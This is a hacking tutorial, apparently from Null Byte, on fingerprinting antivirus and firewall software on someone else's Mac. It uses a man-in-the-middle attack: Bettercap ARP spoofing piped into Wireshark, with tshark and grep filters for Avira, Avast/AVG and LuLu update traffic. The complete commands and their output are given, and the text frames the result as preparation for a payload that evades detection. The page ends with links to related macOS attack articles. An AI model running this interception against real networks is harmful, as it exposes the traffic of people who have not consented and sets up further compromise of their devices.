Hacking macOS: How to Identify Antivirus & Firewall Software Installed on Someone's MacBook « Null Byte :: WonderHowTo

Identifying security software installed on a MacBook or other Apple computer is important to hackers and penetration testers needing to compromise a device on the network. With man-in-the-middle attacks, packets leaving the Mac will tell us a lot about what kind of antivirus and firewall software is installed.After gainingaccess to a Wi-Fi router, a hacker will perform a variety ofnetwork-basedandreconnaissanceattacks. Data traversing the network is viewable to anyone with the passwordwithout ever authenticating to the router. While that method is excellent for passive observations, we'll instead perform a man-in-the-middle attack to learn what's happening on the network.We'll start by installing a man-in-the-middle tool inKali Linux. Packets moving through the network are redirected to the attacker's system and collected withWireshark. The traffic is then vulnerable to packet inspection, allowing an attacker to identify installed security software on themacOS computer.Don't Miss:Create an Undetectable macOS Payload with ArmorStep 1: Install Bettercap in Kali LinuxBettercap, developed byevilsocketandsome cool people, is an extensible and portable offensive security framework. While it featuresseveral useful tools, let's focus on theman-in-the-middle functionalities.Installbettercapin Kali with the following command.~$ sudo apt update && sudo apt upgrade && sudo apt install bettercap

Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
17 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages have been kept back:
  crackmapexec gcc-10-base lib32gcc-s1 lib32stdc++6 libatomic1 libcc1-0
  libgcc-s1 libgfortran5 libgomp1 libitm1 liblsan0 libobjc4 libquadmath0
  libstdc++6 libtsan0 libubsan1 php-common
0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
bettercap is already the newest version (2.28-0kali2).
0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded.Step 2: Create a Pipe to Write Captured Packets ToBefore starting the man-in-the-middle attack, create anamed pipewith themkfifocommand. Bettercap will write captured packets to the pipe, allowing Wireshark to analyze the traffic in real-time. The "wiretap" file name that I used is arbitrary and can be changed.~$ mkfifo /tmp/wiretapStep 3: Start Bettercap & WiresharkStartbettercapwith the following options to automatically beginARP spoofingand saving data to the wiretap file.~% sudo bettercap -eval "set net.sniff.output /tmp/wiretap; net.sniff on; arp.spoof on"

bettercap v2.28 (built for linux amd64 with go1.14.4) [type 'help' for a list of commands]
[05:44:08] [sys.log] [inf] net.sniff starting net.recon as a requirement for net.sniff
[05:44:08] [endpoint.new] endpoint 192.168.1.47 detected as 7e:13:a9:b6:07:77.
[05:44:08] [sys.log] [inf] arp.spoof enabling forwarding
 » [05:44:08] [sys.log] [inf] arp.spoof arp spoofer started, probing 16384 targets.Wait a few seconds for traffic to generate in the Bettercap terminal, as opening Wireshark too quickly sometimes caused the man-in-the-middle attack to fail. Then, in a new terminal, open Wireshark with the following command to immediately (-k) begin capturing traffic on the input interface (-i) or file (i.e., /tmp/wiretap).~$ wireshark -k -i /tmp/wiretapWireshark will capture and display packets originating from other devices on the network in real-time.Step 4: Detect Antivirus Software (AVG, Avast, Avira)AVG Antivirus, likeAvast, is a very well-known antivirus software solution for Windows 10, macOS, and Android phones. As AVG was acquired by Avast several years ago, traffic originating from a MacBook would be seen connecting to Avast servers.Avira, while not as popular, is another free macOS antivirus solution. And another well-known paid one to be on the lookout for isClamXAV.Antivirus toolsperiodically fetchsoftware and virus definition updates, and an attacker can observe those on the network. With Avira, some updates happen over plain HTTP.This traffic is also viewable in Wireshark with the following display filter.http.host ~ "(?i)(avira|avast|avcdn|avg)"Expand any of the HTTP streams in Wireshark to find more information about traffic originating from the Mac. In my example, the unique user-agent string strongly suggests an installed application querying Avira servers (i.e., virus definition updates).At any point, the packet capture can be stopped in Wireshark and exported for further analysis with tools liketsharkandNetworkMiner. The below command will filter out user-agent strings and count how many times they appear in the PCAP file. In my case, notice the unique Avira user-agent that appears almost one hundred times.~$ tshark -r avira.pcap -n -T fields -e http.user_agent | sort | uniq -c

  22337
     98 @AUVI@1.1; AntiVir-uxupdate-3.10.1.1 (PERS; WKS; EN; AVE 8.3.52.180; VDF 8.15.21.164; Darwin x86_64 18.0.0; ; US; ; 2219669652-SAVXS-0000001; EN-US; 3.10.12.10; 0; 0; 0)
      2 curl/7.54.0
      2 Google Chrome/75.0.3770.80 Mac OS XAll of the above information gathered during a five-minute MitM attack would strongly suggest Avira as well as Avast (AVG) software is installed on the target Mac. This data would enable an attacker to emulate the environment before engaging the target with a payload designed explicitly toactively evade detection.Step 5: Detect Firewall Software (LuLu)LuLu, created byObjective-See, is an open-source firewall solution and alternative to LittleSnitch for macOS. For a tutorial on how to evade LuLu's detection system, check out "How to Bypass the LuLu Firewall in macOS."Like most modern software, LuLu has built-in functionality to fetch software updates automatically.LuLu updates are more difficult to detect as it utilizesServer Name Indication(SNI), an extension to theTLS protocol. In thebettercapterminal, the "objective-see.com" hostname will appear when queried by LuLu but is easily missed in a stream of traffic.In Wireshark, pressControl-Fto open the "Find Packet" search tool. Change the first category to "Packet details," the third category to "String," and search for "objective-see." Wireshark will snap to the nearest packet containing that string. Notice the domain in the packet details.Don't Miss:How to Bypass the LuLu Firewall in macOSSimilarly, the followinggrepcommand will filter the PCAP for any search term.~$ grep -ia 'objective-see' /path/to/capture.pcap

3pdy/3.1spdy/http/1.1objective-see.com
3pdy/3.1spdy/http/1.1objective-see.com
3pdy/3.1spdy/http/1.1objective-see.com
3pdy/3.1spdy/http/1.1objective-see.comWhile it's not definitive evidence of a LuLu update, to attackers on the network, it would only suggest one or moreObjective-See security solutionsinstalled on the operating system. From a quick look at the packets generated during a version check, there wasn't anything that strongly implicated LuLu specifically. This data would suggest the target is security conscious.ConclusionThis article covered only a fewWireshark display filters. There are manyHTTP,IP, andDNSfilters that would aid a hacker while gathering information about targets on the network.With a comprehensivelist of popular antivirus software, attackers will usually be able to say with certainty if a target macOS device has security software installed. What's worse is software enumeration can be accomplishedwithout connecting to the Wi-Fi network.Follow me on Twitter@tokyoneon_to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Getting Started with Hacking macOSWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Create an Undetectable PayloadHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:The Ultimate Guide to Hacking macOSHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Best Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHow To:Check Your MacOS Computer for Malware & KeyloggersHow To:Identify Web Application Firewalls with Wafw00f & NmapHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:The Definitive Guide to Android MalwareHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hacking macOS:How to Break into a MacBook Encrypted with FileVaultNews:Malware Targets Mac Users Through Well-Played Phishing AttackHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Fix the 'Software Update Is Required to Connect to Your iPhone' Warning on Your MacAdvice from a Real Hacker:How to Protect Yourself from Being HackedHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyWindows Security:Software LevelNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Scan for Viruses in Windows Using a Linux Live CD/USB